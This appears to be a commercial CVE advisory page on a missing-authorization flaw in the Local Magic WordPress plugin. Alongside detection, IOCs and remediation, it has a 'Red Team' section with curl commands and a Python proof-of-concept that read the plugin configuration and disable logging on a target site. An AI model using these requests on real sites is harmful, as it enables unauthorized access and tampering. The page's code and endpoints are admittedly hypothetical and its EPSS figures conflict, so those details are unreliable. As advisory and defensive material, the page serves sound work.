☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Matthewrubin logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N 🐛 CWE-862
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-31858

CVE-2025-31858 Missing Authorization in Matthewrubin
📅 PUBLISHED: 2025-04-03 14:15 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.35%
👁️
0.35% probability
8.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-31858 is a Missing Authorization vulnerability in the Local Magic WordPress plugin (versions <= 2.9.0) developed by matthewrubin. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access or modification. The vulnerability resides in the plugin's REST API endpoints or AJAX handlers that fail to properly verify user permissions before executing sensitive operations.

Given that this is a WordPress plugin vulnerability, it affects sites running the Local Magic plugin. The attack vector is network-based, requires no authentication, and has low complexity, making it attractive for automated exploitation. The EPSS score is 0.0%, indicating low current exploitation activity, but the lack of a patch increases long-term risk.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify they are not running version 2.9.0 or earlier. No official patch has been released, and the vendor appears unresponsive. Organizations using this plugin should consider removing it or implementing strict access controls until a fix is available.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
  • Base Score: 6.5 (Medium)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability allows unauthorized access to sensitive data or limited modification of plugin settings. While not critical, the lack of authentication requirements makes it a prime target for botnets and automated scanners.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the local-magic plugin's REST API endpoints or AJAX handlers. The plugin likely exposes functions for managing local magic features (e.g., caching, redirects, or custom content) without verifying the user's capabilities (e.g., manage_options or edit_posts). An unauthenticated attacker can send crafted HTTP requests to these endpoints to:

  • Retrieve sensitive configuration data (e.g., API keys, database credentials).
  • Modify plugin settings (e.g., enable/disable features, change redirect rules).
  • Trigger unintended actions (e.g., cache purging, log manipulation).

The vulnerability is classified under CWE-862: Missing Authorization. The plugin fails to implement WordPress's current_user_can() or wp_verify_nonce() checks before executing privileged operations.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical comparison based on common WordPress plugin patterns.

Vulnerable Code (local-magic.php, line ~150):

add_action('wp_ajax_nopriv_local_magic_update', 'local_magic_update_handler');
function local_magic_update_handler() {
    // No capability check!
    $option_name = sanitize_text_field($_POST['option']);
    $option_value = sanitize_text_field($_POST['value']);
    update_option($option_name, $option_value);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_local_magic_update', 'local_magic_update_handler');
function local_magic_update_handler() {
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    check_ajax_referer('local_magic_nonce', 'nonce');
    $option_name = sanitize_text_field($_POST['option']);
    $option_value = sanitize_text_field($_POST['value']);
    update_option($option_name, $option_value);
    wp_die();
}

The patched version adds a capability check (manage_options) and a nonce verification to prevent unauthorized access.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target WordPress site with Local Magic plugin <= 2.9.0
  • Network access to the site

Exploitation Steps:

  1. Enumerate vulnerable endpoints:

    curl -s "http://target/wp-json/local-magic/v1/config" | jq .
    
  2. Exploit missing authorization to read sensitive data:

    curl -X GET "http://target/wp-admin/admin-ajax.php?action=local_magic_get_config"
    
  3. Modify plugin settings (e.g., disable security features):

    curl -X POST "http://target/wp-admin/admin-ajax.php" \
      -d "action=local_magic_update&option=local_magic_enable_logging&value=0"
    

Proof-of-Concept Script (Python):

import requests

target = "http://target-wordpress-site.com"
endpoint = f"{target}/wp-admin/admin-ajax.php"

# Read configuration
payload = {"action": "local_magic_get_config"}
r = requests.post(endpoint, data=payload)
print(r.text)

# Disable logging
payload = {"action": "local_magic_update", "option": "local_magic_enable_logging", "value": "0"}
r = requests.post(endpoint, data=payload)
print(r.status_code)

Blue Team (Defensive)

Detection Steps:

  1. Monitor for unusual AJAX requests to admin-ajax.php with action=local_magic_* parameters from unauthenticated sources.
  2. Check for unexpected changes to WordPress options table entries prefixed with local_magic_.
  3. Review web server logs for POST requests to /wp-admin/admin-ajax.php with suspicious payloads.

Honeypot Configuration:

// Add to functions.php to log unauthorized access attempts
add_action('wp_ajax_nopriv_local_magic_get_config', function() {
    error_log('Unauthorized access attempt to Local Magic config');
    wp_die('Access denied', 403);
}, 1);

Indicators of Compromise (IOCs)

Network IOCs:

  • POST requests to /wp-admin/admin-ajax.php with action=local_magic_* parameters
  • GET requests to /wp-json/local-magic/v1/* endpoints
  • User-Agent strings associated with known scanning tools (e.g., python-requests, curl)

File System IOCs:

  • Modified wp_options table entries with local_magic_ prefix
  • Unexpected log files in /wp-content/uploads/local-magic-logs/
  • Presence of local-magic.php file in /wp-content/plugins/ with version <= 2.9.0

Behavioral IOCs:

  • Unauthorized changes to plugin settings (e.g., logging disabled, caching cleared)
  • Unusual database queries targeting wp_options table

Detection Engineering

YARA Rule

YARA RULE
CVE_2025_31858_Local_Magic_Exploit
Detects exploitation attempts of CVE-2025-31858 in Local Magic plugin
Reference: https://nvd.nist.gov/vuln/detail/CVE-2025-31858
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Sigma Rule

SIGMA RULE
CVE-2025-31858 Local Magic Missing Authorization Exploit
Detects unauthorized access attempts to Local Magic plugin endpoints
Logsource: apache · webserver  high
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Suricata Rule

SURICATA IDS RULE
CVE-2025-31858 Local Magic Missing Authorization Exploit
Protocol: HTTP · class: attempted-admin · SID 1000001
🔒 Detection logic available via the ValtersIT API — moved there in response to large-scale automated scraping.[ GET API ACCESS ] →

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin until a patch is available:
    wp plugin deactivate local-magic
    
  2. Implement Web Application Firewall (WAF) rules to block requests containing local_magic_ in POST parameters from unauthenticated users.
  3. Restrict access to admin-ajax.php using .htaccess:
    <Files "admin-ajax.php">
        Require all denied
        Require ip 127.0.0.1
    </Files>
    

Long-term Mitigation:

  • Monitor the WordPress plugin repository for an official patch.
  • Consider replacing the plugin with an alternative that has active maintenance.
  • Implement principle of least privilege for all WordPress plugins.

Workaround Code (Add to theme's functions.php):

add_action('init', function() {
    if (defined('DOING_AJAX') && DOING_AJAX) {
        $action = $_REQUEST['action'] ?? '';
        if (strpos($action, 'local_magic_') === 0 && !is_user_logged_in()) {
            wp_die('Unauthorized', 403);
        }
    }
});

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

Security researchers use these queries on Shodan.io to find vulnerable systems globally.

🔒 2 Shodan dorks available

Full Shodan queries for this CVE are available through the ValtersIT API. They were moved behind the API in response to large-scale automated scraping, and to keep this independently-researched intelligence sustainable. The written analysis above remains fully open.

[ GET API ACCESS ] → Available on all plans · from €19/mo (founding)

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-31858/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.